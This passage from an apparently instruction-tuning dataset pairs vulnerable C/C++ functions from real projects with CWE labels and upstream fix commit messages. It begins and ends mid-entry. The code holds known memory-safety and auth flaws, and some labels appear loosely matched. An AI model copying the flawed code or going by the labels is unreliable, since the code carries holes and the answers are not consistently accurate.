(pdf->xrefs[i].version && n_entries)\n fprintf(out,\n \"Version %d -- %d objects\\n\",\n pdf->xrefs[i].version, \n n_entries);\n }\n }\n else /* Quiet output */\n fprintf(out, \"%s: %d\\n\", pdf->name, n_versions);\n\n if (dst)\n {\n fclose(dst);\n free(dst_name);\n }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Zero and sanity check all dynamic allocs.\n\nThis addresses the memory issues in Issue #6 expressed in\ncalloc_some.pdf and malloc_some.pdf'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void pdf_load_pages_kids(FILE *fp, pdf_t *pdf)\n{\n int i, id, dummy;\n char *buf, *c;\n long start, sz;\n\n start = ftell(fp);\n\n /* Load all kids for all xref tables (versions) */\n for (i=0; in_xrefs; i++)\n {\n if (pdf->xrefs[i].version && (pdf->xrefs[i].end != 0))\n {\n fseek(fp, pdf->xrefs[i].start, SEEK_SET);\n while (SAFE_F(fp, (fgetc(fp) != 't')))\n ; /* Iterate to trailer */\n\n /* Get root catalog */\n sz = pdf->xrefs[i].end - ftell(fp);\n buf = malloc(sz + 1);\n SAFE_E(fread(buf, 1, sz, fp), sz, \"Failed to load /Root.\\n\");\n buf[sz] = '\\0';\n if (!(c = strstr(buf, \"/Root\")))\n {\n free(buf);\n continue;\n }\n\n /* Jump to catalog (root) */\n id = atoi(c + strlen(\"/Root\") + 1);\n free(buf);\n buf = get_object(fp, id, &pdf->xrefs[i], NULL, &dummy);\n if (!buf || !(c = strstr(buf, \"/Pages\")))\n {\n free(buf);\n continue;\n }\n\n /* Start at the first Pages obj and get kids */\n id = atoi(c + strlen(\"/Pages\") + 1);\n load_kids(fp, id, &pdf->xrefs[i]);\n free(buf); \n }\n }\n \n fseek(fp, start, SEEK_SET);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'Zero and sanity check all dynamic allocs.\n\nThis addresses the memory issues in Issue #6 expressed in\ncalloc_some.pdf and malloc_some.pdf'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: qedi_dbg_info(struct qedi_dbg_ctx *qedi, const char *func, u32 line,\n\t u32 level, const char *fmt, ...)\n{\n\tva_list va;\n\tstruct va_format vaf;\n\tchar nfunc[32];\n\n\tmemset(nfunc, 0, sizeof(nfunc));\n\tmemcpy(nfunc, func, sizeof(nfunc) - 1);\n\n\tva_start(va, fmt);\n\n\tvaf.fmt = fmt;\n\tvaf.va = &va;\n\n\tif (!(qedi_dbg_log & level))\n\t\tgoto ret;\n\n\tif (likely(qedi) && likely(qedi->pdev))\n\t\tpr_info(\"[%s]:[%s:%d]:%d: %pV\", dev_name(&qedi->pdev->dev),\n\t\t\tnfunc, line, qedi->host_no, &vaf);\n\telse\n\t\tpr_info(\"[0000:00:00.0]:[%s:%d]: %pV\", nfunc, line, &vaf);\n\nret:\n\tva_end(va);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-125'], 'message': 'scsi: qedi: remove memset/memcpy to nfunc and use func instead\n\nKASAN reports this:\n\nBUG: KASAN: global-out-of-bounds in qedi_dbg_err+0xda/0x330 [qedi]\nRead of size 31 at addr ffffffffc12b0ae0 by task syz-executor.0/2429\n\nCPU: 0 PID: 2429 Comm: syz-executor.0 Not tainted 5.0.0-rc7+ #45\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014\nCall Trace:\n __dump_stack lib/dump_stack.c:77 [inline]\n dump_stack+0xfa/0x1ce lib/dump_stack.c:113\n print_address_description+0x1c4/0x270 mm/kasan/report.c:187\n kasan_report+0x149/0x18d mm/kasan/report.c:317\n memcpy+0x1f/0x50 mm/kasan/common.c:130\n qedi_dbg_err+0xda/0x330 [qedi]\n ? 0xffffffffc12d0000\n qedi_init+0x118/0x1000 [qedi]\n ? 0xffffffffc12d0000\n ? 0xffffffffc12d0000\n ? 0xffffffffc12d0000\n do_one_initcall+0xfa/0x5ca init/main.c:887\n do_init_module+0x204/0x5f6 kernel/module.c:3460\n load_module+0x66b2/0x8570 kernel/module.c:3808\n __do_sys_finit_module+0x238/0x2a0 kernel/module.c:3902\n do_syscall_64+0x147/0x600 arch/x86/entry/common.c:290\n entry_SYSCALL_64_after_hwframe+0x49/0xbe\nRIP: 0033:0x462e99\nCode: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48\nRSP: 002b:00007f2d57e55c58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139\nRAX: ffffffffffffffda RBX: 000000000073bfa0 RCX: 0000000000462e99\nRDX: 0000000000000000 RSI: 00000000200003c0 RDI: 0000000000000003\nRBP: 00007f2d57e55c70 R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 00007f2d57e566bc\nR13: 00000000004bcefb R14: 00000000006f7030 R15: 0000000000000004\n\nThe buggy address belongs to the variable:\n __func__.67584+0x0/0xffffffffffffd520 [qedi]\n\nMemory state around the buggy address:\n ffffffffc12b0980: fa fa fa fa 00 04 fa fa fa fa fa fa 00 00 05 fa\n ffffffffc12b0a00: fa fa fa fa 00 00 04 fa fa fa fa fa 00 05 fa fa\n> ffffffffc12b0a80: fa fa fa fa 00 06 fa fa fa fa fa fa 00 02 fa fa\n ^\n ffffffffc12b0b00: fa fa fa fa 00 00 04 fa fa fa fa fa 00 00 03 fa\n ffffffffc12b0b80: fa fa fa fa 00 00 02 fa fa fa fa fa 00 00 04 fa\n\nCurrently the qedi_dbg_* family of functions can overrun the end of the\nsource string if it is less than the destination buffer length because of\nthe use of a fixed sized memcpy. Remove the memset/memcpy calls to nfunc\nand just use func instead as it is always a null terminated string.\n\nReported-by: Hulk Robot \nFixes: ace7f46ba5fd (\"scsi: qedi: Add QLogic FastLinQ offload iSCSI driver framework.\")\nSigned-off-by: YueHaibing \nReviewed-by: Dan Carpenter \nSigned-off-by: Martin K. Petersen '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: ath10k_usb_alloc_urb_from_pipe(struct ath10k_usb_pipe *pipe)\n{\n\tstruct ath10k_urb_context *urb_context = NULL;\n\tunsigned long flags;\n\n\tspin_lock_irqsave(&pipe->ar_usb->cs_lock, flags);\n\tif (!list_empty(&pipe->urb_list_head)) {\n\t\turb_context = list_first_entry(&pipe->urb_list_head,\n\t\t\t\t\t struct ath10k_urb_context, link);\n\t\tlist_del(&urb_context->link);\n\t\tpipe->urb_cnt--;\n\t}\n\tspin_unlock_irqrestore(&pipe->ar_usb->cs_lock, flags);\n\n\treturn urb_context;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'ath10k: Fix a NULL-ptr-deref bug in ath10k_usb_alloc_urb_from_pipe\n\nThe `ar_usb` field of `ath10k_usb_pipe_usb_pipe` objects\nare initialized to point to the containing `ath10k_usb` object\naccording to endpoint descriptors read from the device side, as shown\nbelow in `ath10k_usb_setup_pipe_resources`:\n\nfor (i = 0; i < iface_desc->desc.bNumEndpoints; ++i) {\n endpoint = &iface_desc->endpoint[i].desc;\n\n // get the address from endpoint descriptor\n pipe_num = ath10k_usb_get_logical_pipe_num(ar_usb,\n endpoint->bEndpointAddress,\n &urbcount);\n ......\n // select the pipe object\n pipe = &ar_usb->pipes[pipe_num];\n\n // initialize the ar_usb field\n pipe->ar_usb = ar_usb;\n}\n\nThe driver assumes that the addresses reported in endpoint\ndescriptors from device side to be complete. If a device is\nmalicious and does not report complete addresses, it may trigger\nNULL-ptr-deref `ath10k_usb_alloc_urb_from_pipe` and\n`ath10k_usb_free_urb_to_pipe`.\n\nThis patch fixes the bug by preventing potential NULL-ptr-deref.\n\nSigned-off-by: Hui Peng \nReported-by: Hui Peng \nReported-by: Mathias Payer \nReviewed-by: Greg Kroah-Hartman \n[groeck: Add driver tag to subject, fix build warning]\nSigned-off-by: Guenter Roeck \nSigned-off-by: Kalle Valo '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: mwifiex_set_uap_rates(struct mwifiex_uap_bss_param *bss_cfg,\n\t\t struct cfg80211_ap_settings *params)\n{\n\tstruct ieee_types_header *rate_ie;\n\tint var_offset = offsetof(struct ieee80211_mgmt, u.beacon.variable);\n\tconst u8 *var_pos = params->beacon.head + var_offset;\n\tint len = params->beacon.head_len - var_offset;\n\tu8 rate_len = 0;\n\n\trate_ie = (void *)cfg80211_find_ie(WLAN_EID_SUPP_RATES, var_pos, len);\n\tif (rate_ie) {\n\t\tmemcpy(bss_cfg->rates, rate_ie + 1, rate_ie->len);\n\t\trate_len = rate_ie->len;\n\t}\n\n\trate_ie = (void *)cfg80211_find_ie(WLAN_EID_EXT_SUPP_RATES,\n\t\t\t\t\t params->beacon.tail,\n\t\t\t\t\t params->beacon.tail_len);\n\tif (rate_ie)\n\t\tmemcpy(bss_cfg->rates + rate_len, rate_ie + 1, rate_ie->len);\n\n\treturn;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-120', 'CWE-787'], 'message': 'mwifiex: Fix three heap overflow at parsing element in cfg80211_ap_settings\n\nmwifiex_update_vs_ie(),mwifiex_set_uap_rates() and\nmwifiex_set_wmm_params() call memcpy() without checking\nthe destination size.Since the source is given from\nuser-space, this may trigger a heap buffer overflow.\n\nFix them by putting the length check before performing memcpy().\n\nThis fix addresses CVE-2019-14814,CVE-2019-14815,CVE-2019-14816.\n\nSigned-off-by: Wen Huang \nAcked-by: Ganapathi Bhat \nSigned-off-by: Kalle Valo '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: Status AuthorizationManagerImpl::_initializeUserFromPrivilegeDocument(User* user,\n const BSONObj& privDoc) {\n V2UserDocumentParser parser;\n std::string userName = parser.extractUserNameFromUserDocument(privDoc);\n if (userName != user->getName().getUser()) {\n return Status(ErrorCodes::BadValue,\n mongoutils::str::stream() << \"User name from privilege document \\\"\"\n << userName\n << \"\\\" doesn't match name of provided User \\\"\"\n << user->getName().getUser()\n << \"\\\"\");\n }\n\n Status status = parser.initializeUserCredentialsFromUserDocument(user, privDoc);\n if (!status.isOK()) {\n return status;\n }\n status = parser.initializeUserRolesFromUserDocument(privDoc, user);\n if (!status.isOK()) {\n return status;\n }\n status = parser.initializeUserIndirectRolesFromUserDocument(privDoc, user);\n if (!status.isOK()) {\n return status;\n }\n status = parser.initializeUserPrivilegesFromUserDocument(privDoc, user);\n if (!status.isOK()) {\n return status;\n }\n status = parser.initializeAuthenticationRestrictionsFromUserDocument(privDoc, user);\n if (!status.isOK()) {\n return status;\n }\n\n return Status::OK();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-613'], 'message': 'SERVER-38984 Validate unique User ID on UserCache hit'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bool run(OperationContext* txn,\n const string& dbname,\n BSONObj& cmdObj,\n int options,\n string& errmsg,\n BSONObjBuilder& result) {\n auth::CreateOrUpdateUserArgs args;\n Status status = auth::parseCreateOrUpdateUserCommands(cmdObj, \"createUser\", dbname, &args);\n if (!status.isOK()) {\n return appendCommandStatus(result, status);\n }\n\n if (args.userName.getDB() == \"local\") {\n return appendCommandStatus(\n result, Status(ErrorCodes::BadValue, \"Cannot create users in the local database\"));\n }\n\n if (!args.hasHashedPassword && args.userName.getDB() != \"$external\") {\n return appendCommandStatus(\n result,\n Status(ErrorCodes::BadValue,\n \"Must provide a 'pwd' field for all user documents, except those\"\n \" with '$external' as the user's source db\"));\n }\n\n if ((args.hasHashedPassword) && args.userName.getDB() == \"$external\") {\n return appendCommandStatus(\n result,\n Status(ErrorCodes::BadValue,\n \"Cannot set the password for users defined on the '$external' \"\n \"database\"));\n }\n\n if (!args.hasRoles) {\n return appendCommandStatus(\n result,\n Status(ErrorCodes::BadValue, \"\\\"createUser\\\" command requires a \\\"roles\\\" array\"));\n }\n\n#ifdef MONGO_CONFIG_SSL\n if (args.userName.getDB() == \"$external\" && getSSLManager() &&\n getSSLManager()->getSSLConfiguration().isClusterMember(args.userName.getUser())) {\n return appendCommandStatus(result,\n Status(ErrorCodes::BadValue,\n \"Cannot create an x.509 user with a subjectname \"\n \"that would be recognized as an internal \"\n \"cluster member.\"));\n }\n#endif\n\n BSONObjBuilder userObjBuilder;\n userObjBuilder.append(\n \"_id\", str::stream() << args.userName.getDB() << \".\" << args.userName.getUser());\n userObjBuilder.append(AuthorizationManager::USER_NAME_FIELD_NAME, args.userName.getUser());\n userObjBuilder.append(AuthorizationManager::USER_DB_FIELD_NAME, args.userName.getDB());\n\n ServiceContext* serviceContext = txn->getClient()->getServiceContext();\n AuthorizationManager* authzManager = AuthorizationManager::get(serviceContext);\n int authzVersion;\n status = authzManager->getAuthorizationVersion(txn, &authzVersion);\n if (!status.isOK()) {\n return appendCommandStatus(result, status);\n }\n\n BSONObjBuilder credentialsBuilder(userObjBuilder.subobjStart(\"credentials\"));\n if (!args.hasHashedPassword) {\n // Must be an external user\n credentialsBuilder.append(\"external\", true);\n } else {\n // Add SCRAM credentials for appropriate authSchemaVersions.\n if (authzVersion > AuthorizationManager::schemaVersion26Final) {\n BSONObj scramCred = scram::generateCredentials(\n args.hashedPassword, saslGlobalParams.scramIterationCount);\n credentialsBuilder.append(\"SCRAM-SHA-1\", scramCred);\n } else { // Otherwise default to MONGODB-CR.\n credentialsBuilder.append(\"MONGODB-CR\", args.hashedPassword);\n }\n }\n credentialsBuilder.done();\n\n if (args.hasCustomData) {\n userObjBuilder.append(\"customData\", args.customData);\n }\n userObjBuilder.append(\"roles\", rolesVectorToBSONArray(args.roles));\n\n BSONObj userObj = userObjBuilder.obj();\n V2UserDocumentParser parser;\n status = parser.checkValidUserDocument(userObj);\n if (!status.isOK()) {\n return appendCommandStatus(result, status);\n }\n\n stdx::lock_guard lk(getAuthzDataMutex(serviceContext));\n\n status = requireAuthSchemaVersion26Final(txn, authzManager);\n if (!status.isOK()) {\n return appendCommandStatus(result, status);\n }\n\n // Role existence has to be checked after acquiring the update lock\n for (size_t i = 0; i < args.roles.size(); ++i) {\n BSONObj ignored;\n status = authzManager->getRoleDescription(\n txn, args.roles[i], PrivilegeFormat::kOmit, &ignored);\n if (!status.isOK()) {\n return appendCommandStatus(result, status);\n }\n }\n\n audit::logCreateUser(Client::getCurrent(),\n args.userName,\n args.hasHashedPassword,\n args.hasCustomData ? &args.customData : NULL,\n args.roles);\n status = insertPrivilegeDocument(txn, userObj);\n return appendCommandStatus(result, status);\n } ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-613'], 'message': 'SERVER-38984 Validate unique User ID on UserCache hit\n\n(cherry picked from commit e55d6e2292e5dbe2f97153251d8193d1cc89f5d7)'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int uac_mixer_unit_get_channels(struct mixer_build *state,\n\t\t\t\t struct uac_mixer_unit_descriptor *desc)\n{\n\tint mu_channels;\n\tvoid *c;\n\n\tif (desc->bLength < sizeof(*desc))\n\t\treturn -EINVAL;\n\tif (!desc->bNrInPins)\n\t\treturn -EINVAL;\n\n\tswitch (state->mixer->protocol) {\n\tcase UAC_VERSION_1:\n\tcase UAC_VERSION_2:\n\tdefault:\n\t\tif (desc->bLength < sizeof(*desc) + desc->bNrInPins + 1)\n\t\t\treturn 0; /* no bmControls -> skip */\n\t\tmu_channels = uac_mixer_unit_bNrChannels(desc);\n\t\tbreak;\n\tcase UAC_VERSION_3:\n\t\tmu_channels = get_cluster_channels_v3(state,\n\t\t\t\tuac3_mixer_unit_wClusterDescrID(desc));\n\t\tbreak;\n\t}\n\n\tif (!mu_channels)\n\t\treturn 0;\n\n\tc = uac_mixer_unit_bmControls(desc, state->mixer->protocol);\n\tif (c - (void *)desc + (mu_channels - 1) / 8 >= desc->bLength)\n\t\treturn 0; /* no bmControls -> skip */\n\n\treturn mu_channels;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'ALSA: usb-audio: Fix an OOB bug in parse_audio_mixer_unit\n\nThe `uac_mixer_unit_descriptor` shown as below is read from the\ndevice side. In `parse_audio_mixer_unit`, `baSourceID` field is\naccessed from index 0 to `bNrInPins` - 1, the current implementation\nassumes that descriptor is always valid (the length of descriptor\nis no shorter than 5 + `bNrInPins`). If a descriptor read from\nthe device side is invalid, it may trigger out-of-bound memory\naccess.\n\n```\nstruct uac_mixer_unit_descriptor {\n\t__u8 bLength;\n\t__u8 bDescriptorType;\n\t__u8 bDescriptorSubtype;\n\t__u8 bUnitID;\n\t__u8 bNrInPins;\n\t__u8 baSourceID[];\n}\n```\n\nThis patch fixes the bug by add a sanity check on the length of\nthe descriptor.\n\nReported-by: Hui Peng \nReported-by: Mathias Payer \nCc: \nSigned-off-by: Hui Peng \nSigned-off-by: Takashi Iwai '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static void p54u_load_firmware_cb(const struct firmware *firmware,\n\t\t\t\t void *context)\n{\n\tstruct p54u_priv *priv = context;\n\tstruct usb_device *udev = priv->udev;\n\tint err;\n\n\tcomplete(&priv->fw_wait_load);\n\tif (firmware) {\n\t\tpriv->fw = firmware;\n\t\terr = p54u_start_ops(priv);\n\t} else {\n\t\terr = -ENOENT;\n\t\tdev_err(&udev->dev, \"Firmware not found.\\n\");\n\t}\n\n\tif (err) {\n\t\tstruct device *parent = priv->udev->dev.parent;\n\n\t\tdev_err(&udev->dev, \"failed to initialize device (%d)\\n\", err);\n\n\t\tif (parent)\n\t\t\tdevice_lock(parent);\n\n\t\tdevice_release_driver(&udev->dev);\n\t\t/*\n\t\t * At this point p54u_disconnect has already freed\n\t\t * the \"priv\" context. Do not use it anymore!\n\t\t */\n\t\tpriv = NULL;\n\n\t\tif (parent)\n\t\t\tdevice_unlock(parent);\n\t}\n\n\tusb_put_dev(udev);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-416'], 'message': 'p54usb: Fix race between disconnect and firmware loading\n\nThe syzbot fuzzer found a bug in the p54 USB wireless driver. The\nissue involves a race between disconnect and the firmware-loader\ncallback routine, and it has several aspects.\n\nOne big problem is that when the firmware can't be loaded, the\ncallback routine tries to unbind the driver from the USB _device_ (by\ncalling device_release_driver) instead of from the USB _interface_ to\nwhich it is actually bound (by calling usb_driver_release_interface).\n\nThe race involves access to the private data structure. The driver's\ndisconnect handler waits for a completion that is signalled by the\nfirmware-loader callback routine. As soon as the completion is\nsignalled, you have to assume that the private data structure may have\nbeen deallocated by the disconnect handler -- even if the firmware was\nloaded without errors. However, the callback routine does access the\nprivate data several times after that point.\n\nAnother problem is that, in order to ensure that the USB device\nstructure hasn't been freed when the callback routine runs, the driver\ntakes a reference to it. This isn't good enough any more, because now\nthat the callback routine calls usb_driver_release_interface, it has\nto ensure that the interface structure hasn't been freed.\n\nFinally, the driver takes an unnecessary reference to the USB device\nstructure in the probe function and drops the reference in the\ndisconnect handler. This extra reference doesn't accomplish anything,\nbecause the USB core already guarantees that a device structure won't\nbe deallocated while a driver is still bound to any of its interfaces.\n\nTo fix these problems, this patch makes the following changes:\n\n\tCall usb_driver_release_interface() rather than\n\tdevice_release_driver().\n\n\tDon't signal the completion until after the important\n\tinformation has been copied out of the private data structure,\n\tand don't refer to the private data at all thereafter.\n\n\tLock udev (the interface's parent) before unbinding the driver\n\tinstead of locking udev->parent.\n\n\tDuring the firmware loading process, take a reference to the\n\tUSB interface instead of the USB device.\n\n\tDon't take an unnecessary reference to the device during probe\n\t(and then don't drop it during disconnect).\n\nSigned-off-by: Alan Stern \nReported-and-tested-by: syzbot+200d4bb11b23d929335f@syzkaller.appspotmail.com\nCC: \nAcked-by: Christian Lamparter \nSigned-off-by: Kalle Valo '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void line6_disconnect(struct usb_interface *interface)\n{\n\tstruct usb_line6 *line6 = usb_get_intfdata(interface);\n\tstruct usb_device *usbdev = interface_to_usbdev(interface);\n\n\tif (!line6)\n\t\treturn;\n\n\tif (WARN_ON(usbdev != line6->usbdev))\n\t\treturn;\n\n\tif (line6->urb_listen != NULL)\n\t\tline6_stop_listen(line6);\n\n\tsnd_card_disconnect(line6->card);\n\tif (line6->line6pcm)\n\t\tline6_pcm_disconnect(line6->line6pcm);\n\tif (line6->disconnect)\n\t\tline6->disconnect(line6);\n\n\tdev_info(&interface->dev, \"Line 6 %s now disconnected\\n\",\n\t\t line6->properties->name);\n\n\t/* make sure the device isn't destructed twice: */\n\tusb_set_intfdata(interface, NULL);\n\n\tsnd_card_free_when_closed(line6->card);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-476'], 'message': 'ALSA: line6: Assure canceling delayed work at disconnection\n\nThe current code performs the cancel of a delayed work at the late\nstage of disconnection procedure, which may lead to the access to the\nalready cleared state.\n\nThis patch assures to call cancel_delayed_work_sync() at the beginning\nof the disconnection procedure for avoiding that race. The delayed\nwork object is now assigned in the common line6 object instead of its\nderivative, so that we can call cancel_delayed_work_sync().\n\nAlong with the change, the startup function is called via the new\ncallback instead. This will make it easier to port other LINE6\ndrivers to use the delayed work for startup in later patches.\n\nReported-by: syzbot+5255458d5e0a2b10bbb9@syzkaller.appspotmail.com\nFixes: 7f84ff68be05 (\"ALSA: line6: toneport: Fix broken usage of timer for delayed execution\")\nCc: \nSigned-off-by: Takashi Iwai '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: bgp_log_error(struct bgp_proto *p, u8 class, char *msg, unsigned code, unsigned subcode, byte *data, unsigned len)\n{\n byte argbuf[256], *t = argbuf;\n unsigned i;\n\n /* Don't report Cease messages generated by myself */\n if (code == 6 && class == BE_BGP_TX)\n return;\n\n /* Reset shutdown message */\n if ((code == 6) && ((subcode == 2) || (subcode == 4)))\n proto_set_message(&p->p, NULL, 0);\n\n if (len)\n {\n /* Bad peer AS - we would like to print the AS */\n if ((code == 2) && (subcode == 2) && ((len == 2) || (len == 4)))\n\t{\n\t t += bsprintf(t, \": %u\", (len == 2) ? get_u16(data) : get_u32(data));\n\t goto done;\n\t}\n\n /* RFC 8203 - shutdown communication */\n if (((code == 6) && ((subcode == 2) || (subcode == 4))))\n\tif (bgp_handle_message(p, data, len, &t))\n\t goto done;\n\n *t++ = ':';\n *t++ = ' ';\n if (len > 16)\n\tlen = 16;\n for (i=0; ip.name, msg, dsc, argbuf);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-787'], 'message': 'BGP: Fix bugs in handling of shutdown messages\n\nThere is an improper check for valid message size, which may lead to\nstack overflow and buffer leaks to log when a large message is received.\n\nThanks to Daniel McCarney for bugreport and analysis.'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: externalParEntProcessor(XML_Parser parser, const char *s, const char *end,\n const char **nextPtr) {\n const char *next = s;\n int tok;\n\n tok = XmlPrologTok(parser->m_encoding, s, end, &next);\n if (tok <= 0) {\n if (! parser->m_parsingStatus.finalBuffer && tok != XML_TOK_INVALID) {\n *nextPtr = s;\n return XML_ERROR_NONE;\n }\n switch (tok) {\n case XML_TOK_INVALID:\n return XML_ERROR_INVALID_TOKEN;\n case XML_TOK_PARTIAL:\n return XML_ERROR_UNCLOSED_TOKEN;\n case XML_TOK_PARTIAL_CHAR:\n return XML_ERROR_PARTIAL_CHAR;\n case XML_TOK_NONE: /* start == end */\n default:\n break;\n }\n }\n /* This would cause the next stage, i.e. doProlog to be passed XML_TOK_BOM.\n However, when parsing an external subset, doProlog will not accept a BOM\n as valid, and report a syntax error, so we have to skip the BOM\n */\n else if (tok == XML_TOK_BOM) {\n s = next;\n tok = XmlPrologTok(parser->m_encoding, s, end, &next);\n }\n\n parser->m_processor = prologProcessor;\n return doProlog(parser, parser->m_encoding, s, end, tok, next, nextPtr,\n (XML_Bool)! parser->m_parsingStatus.finalBuffer);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-611', 'CWE-776', 'CWE-415', 'CWE-125'], 'message': 'xmlparse.c: Deny internal entities closing the doctype'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: IntegrationStreamDecoderPtr HttpIntegrationTest::sendRequestAndWaitForResponse(\n const Http::TestHeaderMapImpl& request_headers, uint32_t request_body_size,\n const Http::TestHeaderMapImpl& response_headers, uint32_t response_size, int upstream_index) {\n ASSERT(codec_client_ != nullptr);\n // Send the request to Envoy.\n IntegrationStreamDecoderPtr response;\n if (request_body_size) {\n response = codec_client_->makeRequestWithBody(request_headers, request_body_size);\n } else {\n response = codec_client_->makeHeaderOnlyRequest(request_headers);\n }\n waitForNextUpstreamRequest(upstream_index);\n // Send response headers, and end_stream if there is no response body.\n upstream_request_->encodeHeaders(response_headers, response_size == 0);\n // Send any response data, with end_stream true.\n if (response_size) {\n upstream_request_->encodeData(response_size, true);\n }\n // Wait for the response to be read by the codec client.\n response->waitForEndStream();\n return response;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-703'], 'message': 'Track byteSize of HeaderMap internally.\n\nIntroduces a cached byte size updated internally in HeaderMap. The value\nis stored as an optional, and is cleared whenever a non-const pointer or\nreference to a HeaderEntry is accessed. The cached value can be set with\nrefreshByteSize() which performs an iteration over the HeaderMap to sum\nthe size of each key and value in the HeaderMap.\n\nSigned-off-by: Asra Ali '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST(HeaderMapImplTest, SetReferenceKey) {\n HeaderMapImpl headers;\n LowerCaseString foo(\"hello\");\n headers.setReferenceKey(foo, \"world\");\n EXPECT_NE(\"world\", headers.get(foo)->value().getStringView().data());\n EXPECT_EQ(\"world\", headers.get(foo)->value().getStringView());\n\n headers.setReferenceKey(foo, \"monde\");\n EXPECT_NE(\"monde\", headers.get(foo)->value().getStringView().data());\n EXPECT_EQ(\"monde\", headers.get(foo)->value().getStringView());\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-400', 'CWE-703'], 'message': 'Track byteSize of HeaderMap internally.\n\nIntroduces a cached byte size updated internally in HeaderMap. The value\nis stored as an optional, and is cleared whenever a non-const pointer or\nreference to a HeaderEntry is accessed. The cached value can be set with\nrefreshByteSize() which performs an iteration over the HeaderMap to sum\nthe size of each key and value in the HeaderMap.\n\nSigned-off-by: Asra Ali '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: TEST_P(Http2CodecImplTest, TestLargeRequestHeadersAtLimitAccepted) {\n uint32_t codec_limit_kb = 64;\n max_request_headers_kb_ = codec_limit_kb;\n initialize();\n\n TestHeaderMapImpl request_headers;\n HttpTestUtility::addDefaultHeaders(request_headers);\n std::string key = \"big\";\n uint32_t head_room = 77;\n uint32_t long_string_length =\n codec_limit_kb * 1024 - request_headers.byteSize() - key.length() - head_room;\n std::string long_string = std::string(long_string_length, 'q');\n request_headers.addCopy(key, long_string);\n\n // The amount of data sent to the codec is not equivalent to the size of the\n // request headers that Envoy computes, as the codec limits based on the\n // entire http2 frame. The exact head room needed (76) was found through iteration.\n 